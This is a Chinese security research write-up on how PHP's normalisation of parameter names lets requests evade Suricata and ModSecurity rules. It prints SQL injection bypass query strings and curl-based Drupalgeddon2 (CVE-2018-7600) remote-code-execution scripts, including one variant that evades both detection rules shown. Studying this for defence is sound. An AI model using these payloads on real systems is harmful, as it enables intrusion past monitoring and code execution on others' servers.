利用 PHP 参数名解析差异进行绕过(历史研究记录)
这篇内容来自较早的 PHP / WAF 解析差异研究,后面的 Suricata、ModSecurity 和 Drupal 示例也对应当时的软件版本。现代 PHP、Web 服务器和规则集的行为可能已经变化,复现实验时应固定版本,不要把旧绕过当成当前通用结论。
PHP 会把查询字符串和表单数据解析到 $_GET、$_POST 等超全局数组中。参数名在解析过程中可能发生规范化,例如部分空格、点号等字符会被转换为下划线。旧环境中还可能出现特殊字符截断等行为,因此安全设备看到的“原始参数名”和 PHP 最终使用的键名不一定完全一致。
例如,旧环境下某些特殊构造最终可能落到 $_GET["news_id"]。如果 IDS/IPS 或 WAF 只按原始参数名匹配,而应用端使用规范化后的键名,就可能产生检测差异。下面保留原来的实验示例:
/news.php?%20news[id%00=42"+AND+1=0--
上述PHP语句的参数%20news[id%00的值将存储到$_GET[“news_id”]中。
PHP 在把请求参数整理成数组键名时会做规范化处理。原文实验中重点观察了两类行为:
- 删除空白符
- 将某些字符转换为下划线(包括空格)
例如:
| User input | Decoded PHP | variable name |
|---|---|---|
| %20foo_bar%00 | foo_bar | foo_bar |
| foo%20bar%00 | foo bar | foo_bar |
| foo%5bbar | foo[bar | foo_bar |
通过以下这个示例,你可以更直观地看到 parse_str() 如何处理字符串:

<?php
foreach(
[
"{chr}foo_bar",
"foo{chr}bar",
"foo_bar{chr}"
] as $k => $arg) {
for($i=0;$i<=255;$i++) {
echo "\033[999D\033[K\r";
echo "[".$arg."] check ".bin2hex(chr($i))."";
parse_str(str_replace("{chr}",chr($i),$arg)."=bla",$o);
/* yes... I've added a sleep time on each loop just for
the scenic effect :) like that movie with unrealistic
brute-force where the password are obtained
one byte at a time (∩`-´)⊃━☆゚.*・。゚
*/
usleep(5000);
if(isset($o["foo_bar"])) {
echo "\033[999D\033[K\r";
echo $arg." -> ".bin2hex(chr($i))." (".chr($i).")\n";
}
}
echo "\033[999D\033[K\r";
echo "\n";
}

这里用 parse_str() 模拟 PHP 对 URL 编码参数的解析。实际请求中,PHP 构造 $_GET、$_POST、$_COOKIE 时也会进行相应的参数解析,但具体入口和版本行为不应简单理解成“自动调用了同一个函数”。如上代码所示,循环枚举参数名三个位置的 0~255 字节,可以观察旧环境中哪些字符最终会规范化成相同的键名。结果如下:
[1st]foo_bar
foo[2nd]bar
foo_bar[3rd]


在上述方案中,foo%20bar和foo+bar等效,均解析为foo bar。
Suricata
也许你也听过这款软件,Suricata是一个“开源、成熟、快速、强大的网络威胁检测引擎”,它的引擎能够进行实时入侵检测(IDS)、入侵防御系统(IPS)、网络安全监控(NSM)和离线流量包处理。
在Suricata中你可以自定义一个HTTP流量的检测规则。假设你有这样一个规则:
alert http any any -> $HOME_NET any (\
msg: "Block SQLi"; flow:established,to_server;\
content: "POST"; http_method;\
pcre: "/news_id=[^0-9]+/Pi";\
sid:1234567;\
)
简单来说,上述规则会检查news_id的值是否是数字。那么根据上述知识,我们可以很容易的绕过防御,如下所示:
/?news[id=1%22+AND+1=1--'
/?news%5bid=1%22+AND+1=1--'
/?news_id%00=1%22+AND+1=1--'
通过在Google和Github上进行搜索,我发现有很多关于Suricata规则可以通过替换下划线或插入空字符来绕过。一个真实的例子:https://github.com/OISF/suricata-update/blob/7797d6ab0c00051ce4be5ee7ee4120e81f1138b4/tests/emerging-current_events.rules#L805
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"ET CURRENT_EVENTS Sakura exploit kit exploit download request /view.php"; flow:established,to_server; content:"/view.php?i="; http_uri; fast_pattern:only; pcre:"//view.php?i=\d&key=[0-9a-f]{32}$/U"; classtype:trojan-activity; sid:2015678; rev:2;)
上述规则可以通过以下方式绕过:
/view.php?i%00=1&%20key=d3b07384d113edec49eaa6238ad5ff00
当然,这条规则交换参数位置即可绕过,比如:
/view.php?key=d3b07384d113edec49eaa6238ad5ff00&i=1
WAF(ModSecurity)
此外,PHP查询字符串的解析特性也可用以绕过WAF。想象一下,它的规则类似于SecRule !ARGS:news_id “@rx ^[0-9]+$” “block”,这显然可以通过相同的手段绕过。幸运的是,在ModSecurity中,可以通过正则表达式指定查询字符串中的参数。比如:
SecRule !ARGS:/news.id/ "@rx ^[0-9]+$" "block"
以上规则将拦截诸如以下的请求:
⛔️/?news[id=1%22+AND+1=1--'
⛔️/?news%5bid=1%22+AND+1=1--'
⛔️/?news_id%00=1%22+AND+1=1--'
PoC || GTFO
让我们用Suricata和Drupal CMS创建一个以利用CVE-2018-7600(Drupalgeddon2远程执行代码)的简单PoC。为了简单起见,我将在两个Docker容器上运行Suricata和Drupal,并尝试绕过Suricata攻击Drupal。
我将使用两条Suricata防御规则:
1.一条自定义规则拦截form_id=user_register_form
2.另一条是关于CVE-2018-7600的通用规则

Suricata官方安装流程点击这里。对于Drupal,我运行了一个Vulhub容器,你可以在这里下载:

首先,让我们尝试利用CVE-2018-7600。一个利用curl命令的小型bash脚本,比如:
#!/bin/bash
URL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
QSTRING="form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]="
COMMAND="id"
curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL"
如你所见,上面的脚本将执行命令id:

现在,让我们尝试往Suricata导入以下两条规则:我编写了第一个规则,它只是尝试form_id=user_register_form在请求体内进行匹配; Positive Technology /user/register在请求URL和#post_render请求正文中写了第二个匹配项。我的规则:
alert http any any -> $HOME_NET any (\
msg: "Possible Drupalgeddon2 attack";\
flow: established, to_server;\
content: "/user/register"; http_uri;\
content: "POST"; http_method;\
pcre: "/form_id=user_register_form/Pi";\
sid: 10002807;\
rev: 1;\
)
通用规则:
alert http any any -> $HOME_NET any (\
msg: "ATTACK [PTsecurity] Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 RCE through registration form (CVE-2018-7600)"; \
flow: established, to_server; \
content: "/user/register"; http_uri; \
content: "POST"; http_method; \
content: "drupal"; http_client_body; \
pcre: "/(%23|#)(access_callback|pre_render|post_render|lazy_builder)/Pi"; \
reference: cve, 2018-7600; \
reference: url, research.checkpoint.com/uncovering-drupalgeddon-2; \
classtype: attempted-admin; \
reference: url, github.com/ptresearch/AttackDetection; \
metadata: Open Ptsecurity.com ruleset; \
sid: 10002808; \
rev: 2; \
)
在重启Suricata后,我的攻击被成功报警:
可以看到,我们得到了两条日志:
1.ATTACK [PTsecurity] Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 RCE through registration form (CVE-2018-7600) [Priority: 1] {PROTO:006} 172.17.0.6:51702 -> 172.17.0.1:8080
2.Possible Drupalgeddon2 attack [Priority: 3] {PROTO:006} 172.17.0.6:51702 -> 172.17.0.1:8080
Bypass!
这两条规则其实都很容易绕过。首先,对于敏感字段form_id=user_register_form,我们可将其替换为如下内容:
form%5bid=user_register_form
如上图所见,现在只有通用规则的警报。分析通用规则的正则表达式,我们可以看到它对#和%23敏感,但不涉及下划线的编码。因此,我们可以使用post%5frender代替post_render来绕过:
最后得出可绕过两个规则的PoC:
#!/bin/bash
URL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
QSTRING="form%5bid=user_register_form&_drupal_ajax=1&mail[#post%5frender][]=exec&mail[#type]=markup&mail[#markup]="
COMMAND="id"
curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL"
评论将在接近此处时加载,也可点击立即加载。